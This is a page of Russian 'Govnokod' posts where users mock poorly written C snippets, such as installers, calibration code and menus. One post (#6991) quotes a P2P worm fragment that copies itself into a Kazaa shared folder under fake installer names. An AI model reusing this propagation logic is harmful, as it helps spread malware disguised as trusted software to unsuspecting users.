1. Си / Говнокод #7089

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    bool aiccu_os_install(void)
    {
        /* Check if IPv6 support is available */
        if (access("/proc/net/if_inet6", F_OK))
        {
            /* Doing the modprobe doesn't guarantee success unfortunately */
            (void)system("modprobe -q ipv6 2>/dev/null >/dev/null");
    
            /* Thus test it again */
            if (access("/proc/net/if_inet6", F_OK))
            {
                dolog(LOG_ERR, "No IPv6 Stack found! Please check your kernel and module configuration\n");
                return false;
            }
        }
    
        /* Try to load modules (SIT tunnel, TUN/TAP)
         * They can be kernel builtins and there is no easy
         * way to check if they are loaded/built except for
         * trying to use them and fail at that point
         */
        (void)system("modprobe -q sit 2>/dev/null >/dev/null");
        (void)system("modprobe -q tun 2>/dev/null >/dev/null");
    
        return true;
    }

    raorn, 27 Июня 2011

    Комментарии (12)
  2. Си / Говнокод #7057

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    int    bufImin[32]={ 4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000,  4000};
    int    bufImax[32]={20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000, 20000};
    double bufPmin[32]={    0,     0,     0,     0,     0,     0,     0,     0,     0,   315,     0,     0,     0,     0,     0,     0};
    double bufPmax[32]={    6,    10,     1,    10,    40,    10 ,   10,    10,    10,  -315,     0,     0,   100,   100,    10,  1000};
    
    /*...*/
    bufPmin[9]=(double)CR1_Lb1_4mA*5-500.0;
    bufPmax[9]=(double)CR1_Lb1_20mA*5-500.0;
    Presh[9]=CurrentToPresh(I_9, bufImax[9],bufImin[9],bufPmax[9],bufPmin[9]);
    
    bufPmin[10]=(double)CR1_Lb2_4mA*5-500.0;
    bufPmax[10]=(double)CR1_Lb2_20mA*5-500.0;
    Presh[10]=CurrentToPresh(I_10, bufImax[10],bufImin[10],bufPmax[10],bufPmin[10]);
    
    /*...*/
    
    bufPmax[10]=(double)CR5_Tg_max;
    Presh[15]==CurrentToPresh(I_15, bufImax[15],bufImin[15],bufPmax[15],bufPmin[15]);

    Разгребаю г*вно от предыдущего программиста...
    - зачем массивы на 32 элемента, если их всегда 16.
    - зачем массивы с одинаковыми данными.
    - зачем инициализировать массив числами, которые никогда не используются.
    - массивы используются только для передачи значений в функцию.
    - 17 строка. Это ж надо спутать индекс; как незаметно.
    - 18 строка. :) ==3
    - "Presh" отнюдь не значит "precious", как подумали б американцы. Это Pressure по своей сути.

    MereNonsense, 25 Июня 2011

    Комментарии (16)
  3. Си / Говнокод #7055

    +101

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    double k;
    
    if(deviceType == "firstType"){
      for(int i = 0;i < 100000;i++)
        k = pow(2,10);
    }
    else if(deviceType == "secondType"){
      for(int i = 0;i < 700000;i++)
        k = pow(2,10);
    }

    Думаю этот даунизм поймут все. Маразм крепчал)

    eclipse, 25 Июня 2011

    Комментарии (54)
  4. Си / Говнокод #7052

    +140

    1. 1
    return (a >= factor || (a == factor && (c & 1) == 1)) ? 1 : 0;

    https://github.com/mono/mono/blob/master/mono/metadata/decimal.c

    carsten, 25 Июня 2011

    Комментарии (32)
  5. Си / Говнокод #7043

    +102

    1. 1
    #define SEVEN_DAYS_SECONDS  ((7 * 24 * 60 * 60) + 2)

    Нашел в одном проектике.
    SEVEN_DAYS_SECONDS используется планировщике заданий.

    ossa, 24 Июня 2011

    Комментарии (22)
  6. Си / Говнокод #7037

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    ...
    char det(char a[4][4])
    { float det;
    det=a[0][0]*(a[1][1]*(a[2][2]*a[3][3]-a[3][2]*a[2][3])-a[1][2]*(a[2][1]*a[3][3]-a[2][3]*a[3][1])+a[1][3]*(a[2][1]*a[3][2]-a[2][2]*a[3][1]))
    -a[0][1]*(-a[1][0]*(a[2][2]*a[3][3]-a[3][2]*a[2][3])-a[1][2]*(a[2][0]*a[3][3]-a[3][0]*a[2][3])+a[1][3]*(a[2][0]*a[3][2]-a[3][0]*a[2][2]))
    +a[0][2]*(-a[1][0]*(a[2][1]*a[3][3]-a[3][1]*a[2][3])+a[1][1]*(a[2][0]*a[3][3]-a[3][0]*a[2][3])+a[1][3]*(a[2][0]*a[3][1]-a[2][1]*a[3][0]))
    -a[0][3]*(-a[1][0]*(a[2][1]*a[3][2]-a[3][1]*a[2][2])+a[1][1]*(a[2][0]*a[3][2]-a[3][0]*a[2][2])-a[1][2]*(a[2][0]*a[3][1]-a[3][0]*a[2][1]));
    return(det);
    }; 
    ...

    http://otvet.mail.ru/question/59918103/

    1_and_0, 23 Июня 2011

    Комментарии (39)
  7. Си / Говнокод #6996

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    /*****************************************************************************************************************
    *                                                     Третий уровень                                             *
    *****************************************************************************************************************/
    void  WorkAndViewLevel_3(void)
    {
     if ( MenuLevel[1] != 2 ) { MenuLevel[1] = 2 ; }
      
     switch (MenuLevel[1])
      {
       // case 0 : WorkAndViewJournal(); break;
       case 2 : WorkAndViewMonitor(); break;
       //case 3 : WorkAndViewJournal(); break;
      }
    }      
          
    /*****************************************************************************************************************
    *                                                     Второй уровень                                             *
    *****************************************************************************************************************/
    
    void  WorkAndViewLevel_2(void)
    {
     switch (MenuLevel[1])
      {                                                                           
       case 0 : RightParol=0; WorkAndViewBasic(); break;    // Если возвращаемся в основной режим то сбрасываем флаг правильно введенного пароля
       case 1 : Switch_Mem_Bank(0); break;                  // Переходим в МРВ  
       case 2 : ViewUpConstDownBuff("    МОНИТОР:    ",txtMonitor,CountTree_Monitor-1,1,1); 
                break;
       case 3 : WorkAndViewBasic(); break;
      }
    } 
    
    /*****************************************************************************************************************
    *                                                       Root                                                     *
    *****************************************************************************************************************/          
             
    void  WorkAndView(void)
    {
     Position=&MenuLevel[MenuLevel[0]];     // Определяем укактель на позицию дочерней ветви
     if (PeriodFlash>0) {PeriodFlash--;}    // Уменьшаем промежуток времени до начала мерцания надписи 
     switch (MenuLevel[0])
      {
       case 1 : ViewUpConstDownBuff("Выберите режим :",txtRoot,CoutTree_Root-1,0,1);    // Находимся в Root
                break;                          
       case 2 : WorkAndViewLevel_2();   // Находимся в ТЕСТе, МОНИТОРе, НАЛАДКЕ...  
                if (JournalPos) JournalView=JournalPos-1; else JournalView=39;  
                break;          
       case 3 : WorkAndViewLevel_3(); break;                                            // Находимся на самом верхнем уровне
      }
    }

    Описание менюшки из трех уровней. Улыбает case 3 в WorkAndView.

    MereNonsense, 19 Июня 2011

    Комментарии (10)
  8. Си / Говнокод #6991

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    randomize(); //Включаем генератор случайных чисел.
    ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
    switch (ra)
    {
    case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
    case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
    case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
    case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
    case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
    //Присоединяем к пути новое имя.
    case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
    //Я говорил про запасную переменную.
    case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
    // Мы юзаем "\\" потому что так нужно.
    case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
    case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
    case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
    case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
    }
    CopyFile(myname, KazaaFull, FALSE);
    //Ну и копируем свое тело в папку KazaaFull

    http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/

    57fecfc99e2e4e2a, 18 Июня 2011

    Комментарии (19)
  9. Си / Говнокод #6978

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    #include <cstdio>
    #include <malloc.h>
    
    int number;
        printf("Int to c_str convertation whith separator: ");
        do {
            printf("Enter a number (int): ");
        }
        while (!scanf ("%d",&number));
        bool negative = number<0;
        number=abs(number);
        char* reversed = (char*)(malloc(sizeof(char)));
        *reversed = 0;
        int divider=1;
        unsigned char i=3;
        int buf;
        int val = 0;
        int size=1;
       forever{
            buf=number%(divider*10);
            i--;
            size++;
            reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
            *(reversed+size*sizeof(*reversed)-1) = (buf-val)/divider+48;
            divider*=10;
            val=buf;
            if (!i){
                size++;
                reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
                *(reversed+size*sizeof(*reversed)-1)=32;
                i=3;
            }
            if (buf==number) {break;}
        }
        if (negative){
            size++;
            reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
            *(reversed+size*sizeof(*reversed)-1)='-';
        }
        char* output = (char*)(malloc(size*sizeof(*reversed)));
        for (i=0;i<size*sizeof(*reversed);i++){
            *(output+i) = *(reversed+size*sizeof(*reversed)-((1+i)*sizeof(*reversed)));
        }
         printf("Number as char* is: %s",output);

    Выводит число в строку, вставляя пробел после каждых 3-х цифр.

    Sacha_D, 17 Июня 2011

    Комментарии (3)
  10. Си / Говнокод #6973

    +142

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    case 43: /* + */
        sum_up += sum_up > 1 ? 0 : 1;
        return 1;
    case 45: /* - */
        sum_up -= sum_up < 1 ? 0 : 1;
        return 1;

    Если выше/ниже лимита то добавляем/отнимаем ничего.

    ЗЫ sum_up это переменная контролирующая уровень вербозности (0,1,2) специальной мониторной проги. кнопками +/- можно интерактивно контролировать. К слову, сверху это уже правленый код. Оригинальный оригинал:

    if (c == 43) { sum_up = sum_up > 1 ? sum_up : ++sum_up; return 1; }
    if (c == 45) { sum_up = sum_up < 1 ? sum_up : --sum_up; return 1; }

    Dummy00001, 16 Июня 2011

    Комментарии (41)